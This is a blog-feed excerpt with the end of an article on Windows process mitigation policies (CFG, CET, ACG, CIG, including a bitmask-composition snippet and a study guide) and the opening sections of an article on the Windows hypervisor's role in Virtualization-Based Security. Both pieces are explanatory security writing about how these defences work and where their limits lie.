  &apos;BOTTOM_UP_ASLR_ALWAYS_ON&apos;:       0x01n &amp;lt;&amp;lt; 16n,
  &apos;HIGH_ENTROPY_ASLR_ALWAYS_ON&apos;:    0x01n &amp;lt;&amp;lt; 20n,
  // Second DWORD: modern mitigations (packed at +32)
  &apos;STRICT_HANDLE_CHECKS_ALWAYS_ON&apos;: 0x01n &amp;lt;&amp;lt; 32n,
  &apos;WIN32K_SYSTEM_CALL_DISABLE_ALWAYS_ON&apos;: 0x01n &amp;lt;&amp;lt; 36n,
  &apos;EXTENSION_POINT_DISABLE_ALWAYS_ON&apos;:   0x01n &amp;lt;&amp;lt; 40n,
  &apos;PROHIBIT_DYNAMIC_CODE_ALWAYS_ON&apos;:     0x01n &amp;lt;&amp;lt; 44n,
  &apos;CONTROL_FLOW_GUARD_ALWAYS_ON&apos;:        0x01n &amp;lt;&amp;lt; 48n,
  &apos;BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON&apos;: 0x01n &amp;lt;&amp;lt; 52n,
  &apos;FONT_DISABLE_ALWAYS_ON&apos;:              0x01n &amp;lt;&amp;lt; 56n,
  &apos;IMAGE_LOAD_NO_REMOTE_ALWAYS_ON&apos;:      0x01n &amp;lt;&amp;lt; 60n,
};&lt;/p&gt;
&lt;p&gt;// Compose the recipe for a sandboxed PDF parser
const enabled = [
  &apos;DEP_ENABLE&apos;,
  &apos;BOTTOM_UP_ASLR_ALWAYS_ON&apos;,
  &apos;HIGH_ENTROPY_ASLR_ALWAYS_ON&apos;,
  &apos;STRICT_HANDLE_CHECKS_ALWAYS_ON&apos;,
  &apos;WIN32K_SYSTEM_CALL_DISABLE_ALWAYS_ON&apos;,
  &apos;EXTENSION_POINT_DISABLE_ALWAYS_ON&apos;,
  &apos;PROHIBIT_DYNAMIC_CODE_ALWAYS_ON&apos;,
  &apos;CONTROL_FLOW_GUARD_ALWAYS_ON&apos;,
  &apos;BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON&apos;,
  &apos;FONT_DISABLE_ALWAYS_ON&apos;,
  &apos;IMAGE_LOAD_NO_REMOTE_ALWAYS_ON&apos;,
];&lt;/p&gt;
&lt;p&gt;let options = 0n;
for (const name of enabled) options |= POL[name];
console.log(&apos;MitigationOptions = 0x&apos; + options.toString(16).padStart(16, &apos;0&apos;));
console.log(&apos;Policies enabled: &apos; + enabled.length + &apos; of &apos; + Object.keys(POL).length);
`}&lt;/p&gt;
&lt;p&gt;Stack the recipe. Document the gaps. Watch the FAQ below for the common misconceptions you will hit on the way.&lt;/p&gt;
&lt;h2&gt;16. Frequently asked questions&lt;/h2&gt;


On x64 Windows, DEP is unconditionally on for all processes. `ProcessDEPPolicy` in `SetProcessMitigationPolicy` is a 32-bit-only vestigial knob, retained because some 32-bit legacy code is still in production [@ms-setprocessmitigationpolicy]. For new code on x64, you do not need to touch the DEP policy; the only useful per-process refinement is `ProcessASLRPolicy` (specifically `ForceRelocateImages` and `HighEntropy`), to insist on high-entropy randomization even when third-party DLLs were built without `/DYNAMICBASE`.

No. They attack different surfaces. CIG (`ProcessSignaturePolicy`) prohibits *loading unsigned images*. ACG (`ProcessDynamicCodePolicy`) prohibits *generating new executable code at runtime*. An attacker who finds a signed-but-vulnerable DLL bypasses CIG but does not bypass ACG. An attacker who finds a JIT-spray primitive in an in-process JIT bypasses ACG but does not bypass CIG (because they are not loading a new DLL). The two are orthogonal, and a hardened process needs both [@miller-acg-blog, @ms-binary-signature-policy, @ms-dynamic-code-policy].

No. The MSVC `/guard:xfg` flag exists. The `__guard_xfg_dispatch_icall_fptr` thunk exists in `ntdll.dll`. The instrumentation is in some binaries. Enforcement-by-default never shipped, and Connor McGarr&apos;s Black Hat USA 2025 deck describes XFG as &quot;deprecated&quot; [@mcgarr-bhusa25]. Microsoft&apos;s strategic direction is hardware-backed CET shadow stack for the backward edge plus kCFG and kCET in the kernel; fine-grained forward-edge protection on Windows in 2026 means LLVM&apos;s `-fsanitize=cfi-icall` on opted-in builds, not XFG.

Only the return-edge variant. CET shadow stack catches any attempt to corrupt a return address on the regular stack and then return through it [@cet-techcommunity-wayback]. *Call-oriented programming* (COP, chains of `call`-terminated gadgets) and *jump-oriented programming* (JOP, chains of `jmp`-terminated gadgets) preserve the call/return invariant -- the gadgets do not return through corrupted stack frames -- so CET sees nothing. COOP (section 5) chains entire legitimate virtual function calls with matching call/return pairs; CET also sees nothing [@coop-ieeesecurity-pdf]. CET stops *classical* ROP. It does not stop code-reuse exploitation in general.

Because ACG, enabled in Edge in Windows 10 1703 (March 2017), made in-process JIT a `STATUS_DYNAMIC_CODE_BLOCKED` error [@miller-acg-blog]. The Chakra JIT (then later V8 when Edge moved to Chromium) was rearchitected to run in a separate JIT process that compiles JavaScript and ships the compiled code back to the renderer via an authenticated IPC channel plus a signed-section mapping. The renderer maps the signed section read-execute via `MapViewOfFile`; nothing in the renderer ever calls `VirtualAlloc(PAGE_EXECUTE_*)`. Section 8 walks the architecture in detail.

They constrain the exploit chain but do not fix the root-cause bug. Data-oriented attacks (DOP, section 13) are Turing-complete and survive every CFI variant because no control flow is ever hijacked [@dop-paper]. Signed-but-vulnerable DLLs survive CIG. ACG plus CIG closes the *code* dimension on a hardened process, but a sufficiently-determined attacker who finds a write-what-where primitive can still build a data-only exploit chain in any nontrivial program. The long-term answer is memory-safe languages; Microsoft has been publicly committing to Rust in Windows since 2019, and Matt Miller&apos;s BlueHat IL 2019 talk gave the structural justification: &quot;~70% of the vulnerabilities addressed through a security update each year continue to be memory safety issues&quot; [@miller-bhil-pdf]. The short-term answer is the recipe in section 15: stack the mitigations, document the gaps, and treat memory-safety as the limit you are working against.

&lt;p&gt;The bug is still there. The exploit is just much harder. The article ends where it began: a renderer process that survived an info-leak-plus-write-what-where chain because six per-process mitigations all held at once. That is what Windows process mitigation policies do.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;windows-process-mitigation-policies&quot; keyTerms={[
  { term: &quot;Process Mitigation Policy&quot;, definition: &quot;A per-process, opt-in security policy installed via SetProcessMitigationPolicy (or, more safely, via UpdateProcThreadAttribute before a child process executes its first user-mode instruction). The PROCESS_MITIGATION_POLICY enum lists twenty-one values (twenty actual policies plus the MaxProcessMitigationPolicy sentinel) as of Windows 11 24H2.&quot; },
  { term: &quot;CFG (Control Flow Guard)&quot;, definition: &quot;Forward-edge CFI. Compiler emits __guard_check_icall_fptr before every indirect call; linker emits a FID table of valid call targets; loader unions FID tables into a per-process bitmap; runtime validator checks the bitmap on every indirect call. /guard:cf requires /DYNAMICBASE.&quot; },
  { term: &quot;XFG (eXtended Flow Guard)&quot;, definition: &quot;Type-hashed forward-edge CFI. A 64-bit prototype hash placed 8 bytes before each function entry; the call site compares against the expected prototype hash. Closes COOP. /guard:xfg flag exists; enforcement-by-default never shipped; deprecated per McGarr BHUSA 2025.&quot; },
  { term: &quot;CET shadow stack&quot;, definition: &quot;Hardware-enforced backward-edge CFI. Every call writes the return address to both the regular stack and a CPU-protected shadow stack; every ret pops both and compares; mismatch raises #CP / STATUS_STACK_BUFFER_OVERRUN. Tiger Lake Sep 2020, AMD Zen 3 Nov 2020.&quot; },
  { term: &quot;ACG (Arbitrary Code Guard)&quot;, definition: &quot;W^X for the entire process. Prohibits VirtualAlloc(PAGE_EXECUTE_*), prohibits VirtualProtect that adds execute permission, requires MapViewOfSection-with-execute to be backed by signed image. Forced browser JITs out of process. Edge 1703 (March 2017).&quot; },
  { term: &quot;CIG (Code Integrity Guard)&quot;, definition: &quot;Only signed images load. ProcessSignaturePolicy with MicrosoftSignedOnly, StoreSignedOnly, or MitigationOptIn. Implemented via User-Mode Code Integrity (UMCI); failed loads return STATUS_INVALID_IMAGE_HASH. Edge 1511 (Nov 2015).&quot; },
  { term: &quot;COOP (Counterfeit Object-Oriented Programming)&quot;, definition: &quot;Schuster, Tendyck, Liebchen, Davi, Sadeghi, Holz, IEEE S&amp;amp;P 2015. Code-reuse attack chaining legitimate C++ virtual function calls via corrupted vtable pointers. First attack class to bypass coarse-grained CFG.&quot; },
  { term: &quot;Data-Oriented Programming (DOP)&quot;, definition: &quot;Hu, Shinde, Adrian, Chua, Saxena, Liang (NUS), IEEE S&amp;amp;P 2016. Turing-complete attack technique that corrupts non-control data (flags, lengths, indices) and lets the program&apos;s own legitimate control flow execute the attacker&apos;s computation. Invisible to every CFI variant.&quot; },
  { term: &quot;UpdateProcThreadAttribute&quot;, definition: &quot;Kernel-installed pre-process-start mitigation policy delivery. Closes the race-the-mitigation-window class (Forshaw + Fratric 2017) by installing policies before the child process executes its first user-mode instruction.&quot; }
]} questions={[
  { q: &quot;Which two MSVC linker flags must both be set for CFG to actually work?&quot;, a: &quot;/GUARD:CF and /DYNAMICBASE. Without /DYNAMICBASE, the linker omits the FID table and CFG is silently a no-op.&quot; },
  { q: &quot;Which kind of control-flow transfer does CET shadow stack protect?&quot;, a: &quot;The backward edge -- returns. It compares the shadow-stack return address against the regular stack on every ret instruction.&quot; },
  { q: &quot;Name two mitigations that close orthogonal attack surfaces on the same process.&quot;, a: &quot;ACG (prohibits dynamic code generation) and CIG (prohibits loading unsigned images). An attacker who solves one still has to solve the other.&quot; },
  { q: &quot;What attack class did COOP introduce, and what was the structural answer?&quot;, a: &quot;COOP chains legitimate C++ virtual function calls via corrupted vtable pointers. The structural answer is fine-grained CFI: XFG (deprecated), LLVM cfi-icall, or ARM PAC.&quot; },
  { q: &quot;Why can Microsoft Defender not enable ACG?&quot;, a: &quot;Defender&apos;s MsMpEng.exe generates scanner code at runtime -- signature compilation routines, emulator bytecode, regex JITs. Enabling ProhibitDynamicCode would crash the engine on its first compile.&quot; },
  { q: &quot;What is the single most important step when launching a hardened child process?&quot;, a: &quot;Use UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY) at CreateProcess time so the kernel installs mitigation policies before the child&apos;s first user-mode instruction runs. Closes the race-the-mitigation-window class.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows</category><category>exploit-mitigation</category><category>cfg</category><category>cet</category><category>acg</category><category>cig</category><category>control-flow-integrity</category><category>security</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>Above Ring Zero: How the Windows Hypervisor Became a Security Primitive</title><link>https://paragmali.com/blog/above-ring-zero-how-the-windows-hypervisor-became-a-security/</link><guid isPermaLink="true">https://paragmali.com/blog/above-ring-zero-how-the-windows-hypervisor-became-a-security/</guid><description>A deep tour of the Windows hypervisor as the substrate of VBS, HVCI, Credential Guard, and Secure Launch -- its five primitives, the boundary it commits to, and the public failures that calibrate it.</description><pubDate>Sun, 10 May 2026 00:00:00 GMT</pubDate><content:encoded>
**The Windows hypervisor is the program that loaded before Windows did.** It runs at a privilege level the Windows kernel cannot reach and owns the page tables that decide which memory the Windows kernel may even see. Virtualization-Based Security, Credential Guard, HVCI (Memory Integrity in Windows Security), Application Control, VBS Enclaves, and System Guard Secure Launch are all built by composing five primitives the hypervisor exposes -- partitions, hypercalls, intercepts, SynIC, and per-VTL SLAT. The substrate is real, alive, and producing two to four public CVEs per year; the residual attack surface (firmware below, side channels above, IOMMU bypass beside, hypervisor rollback) is where Windows security still earns its hardest miles.
&lt;h2&gt;1. Above Ring Zero&lt;/h2&gt;
&lt;p&gt;On a Windows 11 machine with VBS turned on, a kernel-mode driver running with full Ring-0 privilege cannot read a single byte of the LSASS process&apos;s credential cache. It cannot load an unsigned driver. It cannot patch &lt;code&gt;ntoskrnl.exe&lt;/code&gt;. It cannot disable HVCI without a reboot. None of this is enforced by Windows. It is enforced by a different program -- one that loaded before Windows did, that runs at a privilege level the Windows kernel cannot reach, and that owns the page tables that say which memory the Windows kernel may even &lt;em&gt;see&lt;/em&gt;. That program is the Windows hypervisor [@ms-hyperv-architecture, @ms-tlfs-vsm].&lt;/p&gt;
&lt;p&gt;The intuition this fact violates is older than most readers&apos; careers. &quot;SYSTEM owns the box.&quot; Every introductory security course teaches it. Local administrator escalates to SYSTEM, SYSTEM loads a driver, the driver runs in the kernel, and the kernel can do anything to the machine. That model is correct for a Windows installation running without Virtualization-Based Security. It is wrong, in three specific and load-bearing ways, for a Windows installation that has VBS turned on.&lt;/p&gt;

A Windows security architecture that uses the Hyper-V hypervisor to create a small, isolated execution environment alongside the normal Windows operating system. The hypervisor allocates a portion of memory, configures its second-level page tables to make that memory unreadable and unwritable from normal kernel mode, and runs Microsoft-signed code there -- the Secure Kernel and isolated user-mode trustlets -- that the regular NT kernel cannot reach. Credential Guard, HVCI, Application Control, and System Guard all sit on top of this primitive [@ms-tlfs-vsm].
&lt;p&gt;The binary in question is named &lt;code&gt;hvix64.exe&lt;/code&gt; on Intel hosts and &lt;code&gt;hvax64.exe&lt;/code&gt; on AMD hosts.Loose security writing sometimes calls the hypervisor&apos;s privilege level &quot;Ring -1.&quot; That phrase is colloquial. Intel&apos;s manuals say &quot;VMX root operation&quot;; AMD&apos;s manuals say &quot;SVM host mode.&quot; Both terms denote a CPU operating mode that sits architecturally outside the four-ring privilege stack the guest OS sees, not a fifth ring inside it. It is loaded by &lt;code&gt;hvloader.efi&lt;/code&gt; before &lt;code&gt;winload.exe&lt;/code&gt; ever runs. By the time the Windows boot manager hands control to the NT kernel, the hypervisor has already configured the CPU&apos;s virtualization extensions, allocated its own private memory, taken ownership of the IOMMU, and set up the per-partition second-level page tables that decide which physical pages each partition can see [@ms-tlfs-pdf]. From the NT kernel&apos;s point of view, the machine starts up already inside a guest partition. There is no escape upward.&lt;/p&gt;
&lt;p&gt;This article is about the program that loaded first. The siblings in this series -- on the &lt;a href=&quot;https://paragmali.com/blog/vbs-trustlets-what-actually-runs-in-the-secure-kernel/&quot; rel=&quot;noopener&quot;&gt;Secure Kernel&lt;/a&gt;, on &lt;a href=&quot;https://paragmali.com/blog/ntlmless-the-death-of-ntlm-in-windows/&quot; rel=&quot;noopener&quot;&gt;Credential Guard and NTLMless&lt;/a&gt;, on &lt;a href=&quot;https://paragmali.com/blog/secure-boot-in-windows-the-chain-from-sector-zero-to-userini/&quot; rel=&quot;noopener&quot;&gt;Secure Boot&lt;/a&gt;, and on &lt;a href=&quot;https://paragmali.com/blog/adminless-how-windows-finally-made-elevation-a-security-boun/&quot; rel=&quot;noopener&quot;&gt;Adminless&lt;/a&gt; -- all assume what this article explains. Each of them describes a policy: the Secure Kernel enforces code integrity; Credential Guard isolates LSASS; Adminless raises the bar on local administrator. None of those policies would be enforceable without a piece of software running at a privilege level the policy&apos;s adversary cannot reach. The hypervisor is that piece of software, and &quot;security primitive&quot; is how Microsoft, the security research community, and the bug-bounty market all describe its current role.&lt;/p&gt;
&lt;p&gt;By the end of this article you will know five things. First, &lt;em&gt;why&lt;/em&gt; the hypervisor became a security primitive -- the architectural failure of Ring-0 defenses that Microsoft fought for a decade and finally gave up on in 2015. Second, &lt;em&gt;how&lt;/em&gt; it became one, in three steps: Popek and Goldberg&apos;s 1974 virtualizability theorem; Intel VT-x and AMD-V in 2005-2006; and David Hepkin and Arun Kishan&apos;s 2013 patent on hierarchical Virtual Trust Levels [@us9430642b2-patent]. Third, &lt;em&gt;what&lt;/em&gt; it enforces, feature by feature, with the hypervisor primitive that backs each: HVCI rides on per-VTL SLAT; Credential Guard rides on SynIC plus the secure-call ABI; System Guard Secure Launch rides on DRTM [@ms-system-guard-secure-launch]. Fourth, &lt;em&gt;where&lt;/em&gt; it has actually failed in public -- six worked CVEs across three distinct attack classes, all narrowly localized. Fifth, &lt;em&gt;what&lt;/em&gt; is structurally outside its mandate: firmware below the hypervisor, microarchitectural side channels above it, IOMMU bypass beside it, and hypervisor rollback through the update pipeline.&lt;/p&gt;
&lt;p&gt;The story is half engineering and half conceptual inversion. How did a server-consolidation hypervisor that shipped in 2008 with &lt;code&gt;Windows Server 2008&lt;/code&gt; -- a product whose original marketing pitch was &quot;run more VMs per box&quot; -- become the architectural substrate that protects every load-bearing Windows security boundary in 2026? The answer begins in 1974, with a paper that defined what a hypervisor even &lt;em&gt;is&lt;/em&gt;. But the political and engineering thread begins five years before that, in San Mateo, California.&lt;/p&gt;
&lt;h2&gt;2. Origins -- Connectix to Viridian to Hyper-V&lt;/h2&gt;
&lt;p&gt;Microsoft entered the virtualization market three years late and by acquisition. On February 19, 2003, the company bought Connectix, a small San Mateo software house founded in 1988 that had built Virtual PC for Macintosh and, later, Virtual PC for Windows. The Connectix engineers became the nucleus of what Microsoft would internally call the Windows Server Virtualization team. The acquired products shipped as Microsoft Virtual PC 2004 and Microsoft Virtual Server 2005. Both were Type-2 hypervisors -- user-mode applications that ran on top of Windows, using software techniques rather than CPU virtualization extensions, because the CPU virtualization extensions did not yet exist on shipping x86 hardware.&lt;/p&gt;

A hypervisor that runs directly on hardware rather than as an application on top of a host operating system. The hypervisor owns the CPU, the second-level page tables, and (in the security-relevant case) the IOMMU; guest operating systems run at a lower privilege level, in partitions or virtual machines that the hypervisor schedules and isolates. IBM&apos;s CP-67/CMS in 1968 is the genre&apos;s origin; VMware ESX, Xen, and the Microsoft hypervisor (`hvix64.exe`/`hvax64.exe`) are the modern examples [@wp-hypervisor].
&lt;p&gt;In 2005, the team began a new project under the codename &quot;Viridian.&quot; The goal was a Type-1 micro-kernelized hypervisor for x86-64 -- a fresh build, not a derivative of Virtual Server -- that required hardware virtualization extensions at install time. Intel&apos;s VT-x had shipped in November 2005 with the Pentium 4 662/672; AMD-V had shipped on May 23, 2006 with the Socket AM2 platform, initially available across Athlon 64 X2 and Athlon 64 FX and select Athlon 64 models. Both were now broadly enough deployed that Microsoft could make hardware virtualization a system requirement rather than a configuration option. Three years later, on June 26, 2008 (Wikipedia&apos;s body text gives this date; the infobox states June 28), Hyper-V reached RTM and was delivered as a Windows Server 2008 feature through Windows Update [@wp-hyperv].Microsoft ships two hypervisor binaries: &lt;code&gt;hvix64.exe&lt;/code&gt; for Intel hosts (using VT-x) and &lt;code&gt;hvax64.exe&lt;/code&gt; for AMD hosts (using AMD-V). The instruction-set-architecture divergence is real -- Intel uses &lt;code&gt;vmcall&lt;/code&gt; to enter the hypervisor; AMD uses &lt;code&gt;vmmcall&lt;/code&gt; -- but the hypercall ABI surface above that single instruction is identical, so the rest of the Microsoft hypervisor codebase is shared between the two binaries.&lt;/p&gt;
&lt;p&gt;The 2008 design choices are worth naming individually because the ones that mattered for &lt;em&gt;server consolidation&lt;/em&gt; turned out, twelve years later, to also be the ones that mattered for &lt;em&gt;security&lt;/em&gt;. Three deserve flagging:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Micro-kernelized architecture.&lt;/strong&gt; The hypervisor binary contains only the minimum machinery needed to virtualize the CPU, schedule VMs, and enforce memory isolation. It does not contain device drivers. It does not contain a network stack. It does not contain a filesystem.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root partition plus child partitions.&lt;/strong&gt; From the Microsoft architecture documentation: &quot;&lt;em&gt;The Microsoft hypervisor must have at least one parent, or root, partition, running Windows. The virtualization management stack runs in the parent partition and has direct access to hardware devices. The root partition then creates the child partitions which host the guest operating systems&lt;/em&gt;&quot; [@ms-hyperv-architecture]. The root partition is a full Windows install; the child partitions are guest VMs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VMBus, VSP, and VSC.&lt;/strong&gt; Inter-partition I/O happens over the VMBus -- a paravirtualized message channel. A Virtualization Service Provider (VSP) runs in the root partition and owns the real device; a Virtualization Service Client (VSC) runs in each child partition and talks to the VSP over VMBus. Device emulation lives in the root partition&apos;s user-mode and kernel-mode code, &lt;em&gt;not in the hypervisor binary itself&lt;/em&gt;. This is the choice that, twelve years later, kept the hypervisor&apos;s Trusted Computing Base small enough to be defensible.&lt;/li&gt;
&lt;/ul&gt;

flowchart TD
    subgraph Root[&quot;Root partition (Windows Server)&quot;]
        RD[&quot;Real device drivers&quot;]
        VSP[&quot;Virtualization Service Providers&quot;]
        VMM[&quot;VM Worker Processes (vmwp.exe)&quot;]
    end
    subgraph Child1[&quot;Child partition 1 (guest OS)&quot;]
        VSC1[&quot;Virtualization Service Clients&quot;]
        Guest1[&quot;Guest kernel + apps&quot;]
    end
    subgraph Child2[&quot;Child partition 2 (guest OS)&quot;]
        VSC2[&quot;Virtualization Service Clients&quot;]
        Guest2[&quot;Guest kernel + apps&quot;]
    end
    HV[&quot;Microsoft Hypervisor (hvix64.exe / hvax64.exe)&quot;]
    HW[&quot;Hardware (CPU, RAM, NIC, disk)&quot;]
    Root -. VMBus .- Child1
    Root -. VMBus .- Child2
    Root --&amp;gt; HV
    Child1 --&amp;gt; HV
    Child2 --&amp;gt; HV
    HV --&amp;gt; HW
&lt;p&gt;The micro-kernel, root-plus-child, and VMBus choices were defensible &lt;em&gt;server&lt;/em&gt; engineering. Their server engineering rationale was that emulating a NIC, or a SCSI controller, or a graphics adapter inside a hypervisor binary would balloon the binary&apos;s size, lock its code-review cycles to those of every device the company shipped, and force the same security-critical code that scheduled CPUs to also handle Ethernet frame parsing. Putting device emulation in a normal Windows process inside the root partition -- the VM Worker Process &lt;code&gt;vmwp.exe&lt;/code&gt; -- meant the hypervisor binary could stay small enough to reason about.&lt;/p&gt;
&lt;p&gt;The 2008 design goal was, again, server consolidation. Microsoft&apos;s positioning materials at the time named &quot;run more VMs per box, get better hardware use&quot; as the customer pitch. Nothing in the 2008 Hyper-V documentation describes the hypervisor as a security primitive for the host OS. The security re-purposing -- the moment Hyper-V&apos;s hardware-privilege isolation became the way Windows itself protected its own kernel from itself -- did not arrive until 2015. To understand why it arrived at all, we have to back up thirty-four years to a 1974 paper that defined what virtualization formally requires.&lt;/p&gt;
&lt;h2&gt;3. The Theoretical Anchor -- Popek, Goldberg, and SLAT&lt;/h2&gt;
&lt;p&gt;Before Microsoft could build a hypervisor that ran security-critical code at a higher privilege than the Windows kernel, two unrelated decisions had to land. One was made in 1974, by two researchers who would never see Windows. The other was made in 2005, by Intel.&lt;/p&gt;
&lt;p&gt;In July 1974, Gerald Popek of UCLA and Robert Goldberg of Harvard published &quot;Formal Requirements for Virtualizable Third Generation Architectures&quot; in &lt;em&gt;Communications of the ACM&lt;/em&gt;. The paper laid down three properties any &quot;true&quot; virtual machine monitor must satisfy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Equivalence.&lt;/strong&gt; Programs run on the VMM exhibit behavior essentially identical to behavior on the bare machine, except for differences due to timing and resource availability.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Resource control.&lt;/strong&gt; The VMM, not the guest, controls the system resources -- CPU time slices, memory, devices.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Efficiency.&lt;/strong&gt; A statistically dominant subset of the instruction stream executes directly on hardware, without VMM intervention.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The theorem that gave the paper its lasting reputation followed from those properties. Let a &lt;em&gt;sensitive instruction&lt;/em&gt; be one that either reads or modifies privileged state (the processor&apos;s mode bits, page-table base register, interrupt mask). Let a &lt;em&gt;privileged instruction&lt;/em&gt; be one that traps when executed in user mode. Then a sufficient condition for an ISA to be virtualizable is that every sensitive instruction is privileged. The intuition is simple: the VMM must get a chance to see -- and to handle -- every guest action that touches the machine&apos;s privileged state. If the CPU silently lets the guest do something privileged-feeling without trapping, the VMM cannot maintain equivalence and control simultaneously.&lt;/p&gt;

A property of a processor architecture: every sensitive instruction in the instruction set is privileged. An architecture with this property can be virtualized &quot;classically&quot; -- with a thin trap-and-emulate hypervisor whose only entry points are the traps the CPU raises on privileged-instruction violations. An architecture without this property requires software workarounds (binary translation, paravirtualization) or hardware extensions (VT-x, AMD-V) before a Popek-Goldberg-style VMM can be built.
&lt;p&gt;For three decades, x86 was famously &lt;em&gt;not&lt;/em&gt; virtualizable in the Popek-Goldberg sense. John Robin and Cynthia Irvine enumerated the problem in their 2000 USENIX Security paper: seventeen protected-mode instructions on the IA-32 architecture either read or modified privileged state without trapping from user mode.The Robin and Irvine enumeration includes instructions like &lt;code&gt;SGDT&lt;/code&gt; (store global descriptor table register), &lt;code&gt;SIDT&lt;/code&gt; (store interrupt descriptor table register), &lt;code&gt;SLDT&lt;/code&gt; (store local descriptor table register), &lt;code&gt;SMSW&lt;/code&gt; (store machine status word), and &lt;code&gt;PUSHF/POPF&lt;/code&gt; (push/pop flags including IOPL). Each of these silently returned or accepted privileged state from user mode without raising a fault. The aggregate effect was that no classical Popek-Goldberg VMM could correctly virtualize an unmodified x86 guest -- every one of those seventeen instructions was a hole the VMM could not see through. VMware Workstation, released in 1999 by VMware Inc. (which had been founded the year prior by Mendel Rosenblum, Diane Greene, Scott Devine, Ellen Wang, and Edouard Bugnion), worked around the problem with &lt;em&gt;binary translation&lt;/em&gt;: it dynamically rewrote each protected-mode guest instruction stream to substitute or trap the seventeen offenders. The technique imposed double-digit overhead, made debugging miserable, and was a security liability in its own right -- the binary translator itself was a parser of arbitrary attacker-controlled code.&lt;/p&gt;
&lt;p&gt;Intel and AMD ended the problem in hardware. Intel VT-x (codename Vanderpool, November 2005) and AMD-V (codename Pacifica, May 2006) added a new CPU mode -- &lt;em&gt;VMX root operation&lt;/em&gt; for Intel, &lt;em&gt;SVM host mode&lt;/em&gt; for AMD -- and a new instruction-emulation mechanism. A &lt;em&gt;VM exit&lt;/em&gt; could be configured to fire on every sensitive instruction the hypervisor wished to intercept, transferring control to the host with a structured exit reason and an opaque, host-controlled snapshot of guest state. After 2006, x86-64 became Popek-Goldberg-virtualizable in hardware [@wp-x86-virtualization].&lt;/p&gt;

sequenceDiagram
    participant Guest as Guest OS (VMX non-root)
    participant CPU as CPU hardware
    participant HV as Hypervisor (VMX root)
    Guest-&amp;gt;&amp;gt;CPU: MOV CR3, rax  (sensitive instr)
    CPU-&amp;gt;&amp;gt;HV: VM-EXIT (reason 28: CR access)
    HV-&amp;gt;&amp;gt;HV: Read VMCS exit-qualification
    HV-&amp;gt;&amp;gt;HV: Validate, emulate, update SLAT
    HV-&amp;gt;&amp;gt;CPU: VMRESUME
    CPU-&amp;gt;&amp;gt;Guest: Continue guest at next instruction
&lt;p&gt;One architectural element more was needed before any of this could be a &lt;em&gt;security&lt;/em&gt; primitive rather than just a virtualization primitive. Classical x86 paging maps a guest virtual address to a physical address through a single CPU-walked page table. In a virtualized system that single table cannot be enough, because the guest needs its own virtual-to-physical map and the host needs to remap the guest&apos;s &quot;physical&quot; address to a real machine-physical address. The first generations of VT-x simulated this two-level mapping in software through &lt;em&gt;shadow page tables&lt;/em&gt;, which the hypervisor had to maintain alongside the guest&apos;s tables on every page-table edit. Shadow paging was correct but slow, and it gave the hypervisor no clean way to enforce a &lt;em&gt;different&lt;/em&gt; memory map for different parts of the same guest.&lt;/p&gt;
&lt;p&gt;Second-Level Address Translation (SLAT) -- Intel&apos;s Extended Page Tables (EPT, shipped with Nehalem in November 2008) and AMD&apos;s Nested Page Tables (NPT, shipped with the Barcelona-generation Opteron on September 10, 2007) -- solved both problems in hardware. The guest walks its own page table from virtual to &quot;guest physical&quot;; the CPU then walks a second, hypervisor-owned page table from &quot;guest physical&quot; to &quot;system physical.&quot; Two key properties follow. First, the hypervisor has exclusive control of the second-level mapping; the guest cannot read, write, or even know that it exists. Second, because the second-level mapping is per-partition, the hypervisor can give two partitions different views of the same machine physical memory -- the same page can be readable in one partition and entirely absent in another.&lt;/p&gt;

A hardware feature on Intel (EPT) and AMD (NPT) CPUs that lets the hypervisor maintain a second page table mapping guest-physical addresses to system-physical addresses. The CPU walks the guest&apos;s own page table for the virtual-to-guest-physical mapping, then walks the hypervisor&apos;s table for the guest-physical-to-system-physical mapping. Because the second table is hypervisor-controlled and per-partition, the hypervisor can give different partitions -- and, in VBS, different Virtual Trust Levels inside the same partition -- different views of physical memory. SLAT is the bedrock of VTL memory protection [@ms-tlfs-pdf].
&lt;p&gt;Hyper-V required VT-x or AMD-V at install time from day one. SLAT became mandatory with Windows Server 2016 and Windows 10 1607 [@ms-hyperv-architecture].&lt;/p&gt;
&lt;p&gt;Popek and Goldberg gave us the property. Intel and AMD gave us the hardware. Microsoft used both to build a server hypervisor in 2008. But for the first seven years of Hyper-V&apos;s life, none of that machinery protected Windows from itself. Microsoft hadn&apos;t yet noticed the architectural problem that made it necessary -- or rather, they had noticed the problem (PatchGuard&apos;s bypass record was public) and had not yet conceded that the problem was structural. The concession came in 2015. What forced it was the same-privilege paradox.&lt;/p&gt;
&lt;h2&gt;4. The Same-Privilege Paradox -- Why PatchGuard Was Never Enough&lt;/h2&gt;
&lt;p&gt;PatchGuard, which Microsoft shipped in 2005 with Windows Server 2003 SP1 x64, ran inside &lt;code&gt;ntoskrnl.exe&lt;/code&gt; at Ring 0 and scanned a curated list of kernel structures -- the system service dispatch table, the interrupt descriptor table, the kernel image&apos;s &lt;code&gt;.text&lt;/code&gt; section -- at randomized intervals to detect tampering. It was bypassed within months by Skywing&apos;s &lt;em&gt;Uninformed&lt;/em&gt; writeups. Microsoft kept shipping it. Researchers kept bypassing it. The pattern lasted a decade. The reason is not that PatchGuard&apos;s authors were sloppy [@wp-kpp]. The reason is structural, and naming it correctly is the first of the three insights this article is built around.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Any defense reachable by &lt;code&gt;mov&lt;/code&gt; from Ring 0 is defeasible by &lt;code&gt;mov&lt;/code&gt; from Ring 0.&lt;/p&gt;
&lt;/blockquote&gt;
